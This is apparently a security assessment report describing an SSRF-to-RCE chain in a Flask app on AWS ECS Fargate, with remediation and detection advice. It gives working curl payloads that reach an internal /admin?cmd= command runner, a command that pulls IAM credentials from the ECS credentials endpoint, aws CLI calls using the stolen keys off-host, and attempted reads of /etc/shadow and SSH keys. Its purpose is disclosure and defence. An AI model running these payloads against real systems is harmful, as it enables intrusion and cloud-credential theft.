web_ssrf_to_rce — SSRF to Remote Code Execution via an Internal Admin Panel

Unvalidated `/pdf` server-side fetch → internal `/admin?cmd=` command runner on the loopback interface → unauthenticated RCE inside an AWS ECS Fargate task → task IAM-role credential theft from the ECS credentials endpoint · black-box · unauthenticated · single attack chain.

Severity **Critical** · `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H` = **10.0** · Environment: Flask · Werkzeug · AWS ECS Fargate

Hostnames, endpoints, and identifiers throughout are illustrative; the focus is the methodology, the cloud-platform nuance, and the remediation.

Executive Summary

Two independent weaknesses combine into a single critical exploit chain. First, the internet-facing `/pdf` rendering endpoint performs a server-side HTTP request to any URL supplied in its `url` parameter, with no validation against internal or link-local destinations — a textbook **Server-Side Request Forgery (SSRF)**. Second, an administrative panel at `/admin`, intended to be reachable only from inside the environment, trusts network position alone and exposes a raw command runner via a `?cmd=` parameter.

By pointing the SSRF at `http://127.0.0.1:80/admin?cmd=<command>`, an **unauthenticated** external attacker executes arbitrary operating-system commands inside the application container. Command output is exfiltrated by having the server render the internal response into a PDF and returning it. Enumeration confirmed code execution as the `nobody` user inside an **AWS ECS Fargate** task. The highest-impact consequence is recovery of the task's IAM-role credentials from the ECS container-credentials endpoint, which converts a single web vulnerability into a foothold in the surrounding AWS account.

Affected Components

Component	Role in chain	Observation
`POST /pdf`	SSRF entry point	Fetches the `url` parameter server-side with no allow-list, scheme restriction, or block on loopback / link-local / private ranges. Renders the response to PDF.
`/admin?cmd=`	Command execution	Internal-only panel ("Admin Command") that passes the `cmd` value to the OS and returns the result. No authentication is enforced for requests originating on the loopback interface.

The application's `X-Request-Tag` header is a request-correlation mechanism, not an access control. Direct external requests to `/admin` return *Access Denied* regardless of the header value, confirming the panel is gated by network position rather than by any credential.

Root Cause

- **Unvalidated server-side fetch.** `/pdf` treats the user-supplied `url` as trusted and issues a request to it directly. Loopback, link-local (`169.254.0.0/16`), and RFC 1918 destinations are all reachable, so the renderer can be steered at internal services that are never exposed publicly.
- **Implicit trust of the loopback interface.** The admin panel assumes that any request arriving on `127.0.0.1` is privileged and therefore needs no authentication — an assumption the SSRF directly violates.
- **Direct command execution as a feature.** The panel passes user input to an OS command with no sanitisation, validation, or fixed task allow-list, so reaching it at all is equivalent to a shell.

Attack Chain & Reproduction

Confirm the admin panel is not externally reachable

Direct requests to `/admin` are rejected, establishing that it is an internal-only surface and that the header is not the gate:

```
$ curl -s -H "X-Request-Tag: admin"     https://target.example/admin
Access Denied
$ curl -s -H "X-Request-Tag: superuser" https://target.example/admin
Access Denied
```

Reach the internal panel through the SSRF

Driving `/pdf` at the loopback address renders the internal admin page and returns it as a 17 KB PDF — proof the renderer can read an interface the public internet cannot:

```
$ curl -X POST https://target.example/pdf \
    -H "X-Request-Tag: poc" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    --data-urlencode "url=http://127.0.0.1:80/admin" \
    --output admin_internal.pdf
# 100%  17142 bytes downloaded — internal /admin rendered successfully
```

Execute commands through the chained injection

Appending `?cmd=` to the internal URL runs arbitrary commands; the output is embedded in the returned PDF. Substituting the command yields full enumeration:

```
$ curl -X POST https://target.example/pdf \
    -H "X-Request-Tag: poc" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    --data-urlencode "url=http://127.0.0.1:80/admin?cmd=id" \
    --output cmd_id.pdf
# rendered output:
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup),0(root)
```

Group `0(root)` appears in the supplementary group list but confers no root access — reads of root-owned files (`/etc/shadow`, `/root`) fail, confirming execution is genuinely confined to the `nobody` user.

Impact

- **Unauthenticated RCE** inside the application container as `nobody`, reachable entirely from the public internet.
- **Broad filesystem and environment disclosure.** The container layout is fully readable — application code under `/app`, `/etc/passwd`, process environment, and build metadata. `printenv` exposed `AWS_EXECUTION_ENV=AWS_ECS_FARGATE`, `AWS_REGION`, and the ECS metadata/credentials endpoints at `169.254.170.2`.

Primary escalation — AWS task-role credential theft

The environment exposes `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`, the path the ECS credentials provider serves. With command execution already in hand, the task's temporary IAM credentials are one request away:

```
cmd=curl http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI
# {"AccessKeyId":"ASIA…","SecretAccessKey":"…","Token":"…","Expiration":"…"}
```

Fargate serves these credentials from the ECS credentials provider at **169.254.170.2**, not the EC2 Instance Metadata Service at `169.254.169.254`, which Fargate does not expose — the two are frequently conflated.

The finding is not that the credentials *exist* — every Fargate task has them — but that an unauthenticated outsider can reach them and that they are **valid off-host**. Exported to an external workstation, they authenticate as the task role from outside the AWS environment entirely:

```
$ export AWS_ACCESS_KEY_ID=ASIA…  AWS_SECRET_ACCESS_KEY=…  AWS_SESSION_TOKEN=…
$ aws sts get-caller-identity
{
  "Account": "123456789012",
  "Arn":     "arn:aws:sts::123456789012:assumed-role/renderer-task-role/<task-id>",
  "UserId":  "AROA…:<task-id>"
}
```

Account, ARN, and resource names here are illustrative. The proof is the *source*: this call succeeds from a host with no relationship to the target account — the web bug now carries standing AWS API access until the credential's `Expiration`.

The task role has no IAM permission to introspect its own policy, so the blast radius is mapped **empirically** — fire low-impact, read-only calls and record *allowed* versus `AccessDenied`, never writing or deleting:

```
$ aws ec2 describe-instances
# An error occurred (UnauthorizedOperation) … — denied; the role is not broad
$ aws s3 ls
# app-static-assets   app-user-uploads          — allowed
$ aws secretsmanager list-secrets --query 'SecretList[].Name'
# [ "prod/app/db", "prod/app/jwt-signing-key" ]  — allowed; names only, values left unread
```

That single *allowed* read is the real consequence: a public, unauthenticated web request has reached the application's secrets store. The objective stays disciplined — enumerate and pull only what the policy already grants, so the activity is indistinguishable from the task's own behaviour apart from one detail.

Where this becomes visible: in CloudTrail the task role's session is now used from a source IP that is not the ECS task's ENI. Alerting on that delta (see *Detection*) is the single highest-signal tripwire for the entire chain.

Integrity / persistence surface. `/tmp` is world-writable and the application runs from a writable layer, providing a foothold for staging tooling or altering runtime behaviour within the task's lifetime.

Affected Environment

The compromised workload is a single **AWS ECS Fargate task** — not a self-managed EC2 instance. The signals must be read together to characterise it correctly:

Property	Observed	Interpretation
Orchestration	`AWS_EXECUTION_ENV=AWS_ECS_FARGATE; endpoints on 169.254.170.2`	Serverless ECS Fargate task. There is no underlying EC2 instance under tenant control.
Container image OS	`Debian GNU/Linux 12 (bookworm)`	From `/etc/os-release` and the Debian userland — this is the image the application ships in.
Kernel	`5.10.x-…amzn2.x86_64`	Provided by the Fargate-managed host platform (Amazon Linux 2 based) and shared into the task. A container runs its own userland over the host's kernel — so an AL2 kernel under a Debian image is expected and is *not* evidence of an EC2 / Amazon Linux 2 host.
Application runtime	`Python 3.9 · Werkzeug · CWD /app · port 80`	Flask/Werkzeug application served as `nobody`.
Filesystem	`overlay root; per-file bind mounts → /etc/hostname, /etc/resolv.conf, /etc/hosts`	Standard ECS per-file bind mounts: the platform injects those three files individually. The device is *not* "mounted at /etc/hosts" — each path is a separate mount the task runtime provides.

Remediation

Immediate — do first

- **Remove the command runner.** Eliminate the `?cmd=` functionality entirely. If administrative actions are required, replace free-form execution with a fixed set of validated, parameterised backend tasks that never pass user input to a shell.
- **Authenticate the admin panel unconditionally.** Require a real credential (token, mTLS, or session) for `/admin` even on loopback. Network position must never be treated as authorisation.

SSRF controls on `/pdf`

- Resolve the destination, then validate the *resolved IP* before connecting. Deny loopback, link-local (`169.254.0.0/16`, including `169.254.170.2` and `169.254.169.254`), RFC 1918, and IPv6 ULA/loopback ranges.
- Restrict allowed URL schemes to `http/https` and disable cross-protocol redirects; re-validate after every redirect hop.
- Prefer an explicit outbound allow-list of the hosts the renderer legitimately needs.

Network & cloud hardening

- Isolate the PDF renderer in its own task/subnet with an egress policy that blocks internal services and the credentials endpoint. Enforce egress at the security-group / firewall layer, not only in code.
- Apply least privilege to the task IAM role so that, even if credentials leak, the reachable AWS surface is minimal.
- Constrain the runtime with a seccomp/AppArmor profile to limit post-exploitation options.

Detection

- Alert on `/pdf` requests whose target resolves to loopback, link-local, or internal ranges. A canary internal route (e.g. `/internal-probe`) surfaces SSRF attempts in real time.
- Monitor CloudTrail / GuardDuty for use of the task role's credentials from an unexpected source IP — the clearest signal that this chain has been exploited.
- Add SSRF and internal-service-access cases to the automated security test suite so regressions are caught pre-release.

Appendix — Commands Executed

Enumeration performed while walking the chain, each command delivered as `cmd=` via the SSRF and captured as a rendered PDF.

Command	Purpose	Result
`id · whoami · groups`	Execution context	`nobody` (uid/gid 65534)
`uname -a · hostname`	Host fingerprint	AL2-based Fargate kernel; `ip-10-0-x-x.ec2.internal`
`cat /etc/os-release`	Image OS	Debian 12 (bookworm)
`printenv · cat /proc/self/environ`	Environment / secrets	Fargate vars, region, ECS credential endpoints
`cat /etc/passwd`	User inventory	root, www-data, nobody, system accounts
`pwd`	Deployment path	`/app`

Command	Purpose	Result
`mount · df -h · lsblk`	Filesystem layout	overlay root; ECS per-file bind mounts
`ls -la /`	Privilege boundaries	root-owned tree; `/root` 700, `/tmp` world-writable
`cat /home/*/.bash_history; cat /home/*/.ssh/id_rsa; cat /etc/shadow`	Privilege-boundary tests	**DENIED** — unreadable as `nobody`, confirming user containment

Local privilege escalation to root within the container was not achieved as `nobody`; the meaningful escalation path is the cloud control plane (see *Impact*), where the task-role credentials extend reach beyond the container regardless of in-container privilege.